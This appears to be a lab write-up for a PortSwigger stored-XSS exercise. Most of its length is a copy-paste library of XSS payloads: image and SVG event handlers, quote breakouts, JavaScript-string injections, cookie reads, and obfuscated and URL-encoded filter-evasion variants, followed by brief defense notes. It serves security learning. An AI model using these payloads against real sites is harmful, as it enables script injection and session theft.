Stored XSS into HTML context with nothing encoded
Stored XSS into HTML context with nothing encoded: Experiment with XSS filter evasion techniques to achieve JavaScript execution without user interaction in a lab that strips some HTML tags (e.g., <script>). Document what worked (e.g., IMG/SVG auto‑firing events) and keep a ready‑to‑use payload list. • PortSwigger • Stored-XSS, XSS • lab2, portswigger
🎯 Objective
Experiment with XSS filter evasion techniques to achieve JavaScript execution without user interaction in a lab that strips some HTML tags (e.g., <script>). Document what worked (e.g., IMG/SVG auto‑firing events) and keep a ready‑to‑use payload list.
🧩 What I’m exploiting
- Reflected/injected content is rendered into the page, but the app strips certain tags (likely
<script>, maybe others). - The browser still parses benign tags like
<img>/<svg>, and auto‑firing events (onerror,onload) can run JavaScript without clicks. - In attribute/HTML contexts, I can break out of quotes/tags and append my own element with an auto‑firing handler.
🧭 Steps I Took
- Basic probes to confirm injection:
- Plain text → appears on page.
- HTML tags like
<b>→ stripped (confirmed sanitizer).
- Context check (where is input rendered?):
- If inside an attribute with single quotes → plan payload with
'to close, then>to break the tag. - If inside HTML text → inject a benign element that autotriggered (
<img src=x onerror=...>).
- If inside an attribute with single quotes → plan payload with
- Auto‑fire approach (no user interaction):
- Used broken image to fire
onerror:<img src=x onerror=alert(1)> - Used SVG
onload:<svg onload=alert(1)></svg>
- Used broken image to fire
- Obfuscation/evading naive filters:
- Mixed case attributes:
<Img sRc=x oNeRrOr=alert(1)> - Whitespace tricks:
<img src=x onerror = alert(1)>, tabs/newlines in attribute name/value - Attribute‑less tag break from quoted attribute:
'"><img src=x onerror=alert(1)>
- Mixed case attributes:
- Confirmed execution: image error and SVG load fired automatically; no click needed.
📎 Copy‑paste payloads
A) HTML text context (sanitizer removes <script>)
<img src=x onerror=alert(1)>
<svg onload=alert(1)></svg>
<svg><animate onbegin=alert(1) attributeName=x dur=1s></animate></svg>With cookie read (if not HttpOnly):
<img src=x onerror=alert(document.cookie)>
<svg onload=alert(document.cookie)></svg>B) Attribute‑quoted context (break out, then inject)
Single‑quoted attribute:
'"><img src=x onerror=alert(1)>
'"><svg onload=alert(1)></svg>Double‑quoted attribute:
"\><img src=x onerror=alert(1)>
"\><svg onload=alert(1)></svg>C) URL / javascript: (if sink sets href/src from input)
javascript:alert(1)URL‑encoded:
javascript%3Aalert(1)Note: Modern browsers or CSP may block
javascript:; prefer the auto‑firing HTML approach above.
D) JavaScript string context (if input lands inside a JS string)
');alert(1);//
');alert(document.cookie);//No‑quotes variant (if concatenated into code without quotes):
-alert(1)-E) Obfuscation tricks
<Img sRc=x oNeRrOr=alert(1)>
<svg/onload=alert(1)>
<img src=x onerror=alert`1`> <!-- template literal grave accents -->
<img src=x o\nerror=alert(1)> <!-- newline/escape confusion (varies by parser) -->F) URL‑encoded quick drops (for query parameters)
%3Cimg%20src%3Dx%20onerror%3Dalert(1)%3E
%3Csvg%20onload%3Dalert(1)%3E%3C/svg%3E
%27%22%3E%3Cimg%20src%3Dx%20onerror%3Dalert(1)%3E🧪 Troubleshooting
- Nothing executes?
- Ensure your input reaches HTML, not plain text (some contexts HTML‑encode everything).
- Try
<svg onload=...>if<img onerror>is filtered; or<svg><animate onbegin=...>which can self‑start.
- Tags stripped?
- Try lowercase/uppercase mix, insert spaces/tabs/newlines, or self‑closing syntax:
<svg/onload=alert(1)>. - Some filters block
onerrorby name—try alternative auto events (onload,onanimationstart,onbegin).
- Try lowercase/uppercase mix, insert spaces/tabs/newlines, or self‑closing syntax:
- Inside attribute value?
- Use quote break then
>to exit the tag, inject your element (see section B).
- Use quote break then
document.cookieempty?- Cookies might be HttpOnly; use
alert(1)to prove execution.
- Cookies might be HttpOnly; use
- CSP present?
- Inline JS may be blocked. Look for allowed sources or demonstrate control (e.g., inject benign but visible markup).
🔒 Defense (notes)
- Apply context‑aware output encoding (attributes vs. HTML vs. JS).
- Sanitize with a robust HTML sanitizer (e.g., DOMPurify with strict config) and keep allowlists minimal.
- Remove/avoid dangerous sinks (
innerHTML, string‑built JS,hreffrom untrusted input). - Enforce a strict CSP (nonces/hashes; block
javascript:anddata:; avoidunsafe-inline).
✅ Result
- Confirmed the app strips some tags but allows
IMG/SVG. - Achieved no‑click XSS via
<img src=x onerror=...>and<svg onload=...>. - Built a payload library with obfuscated variants to bypass naive filters.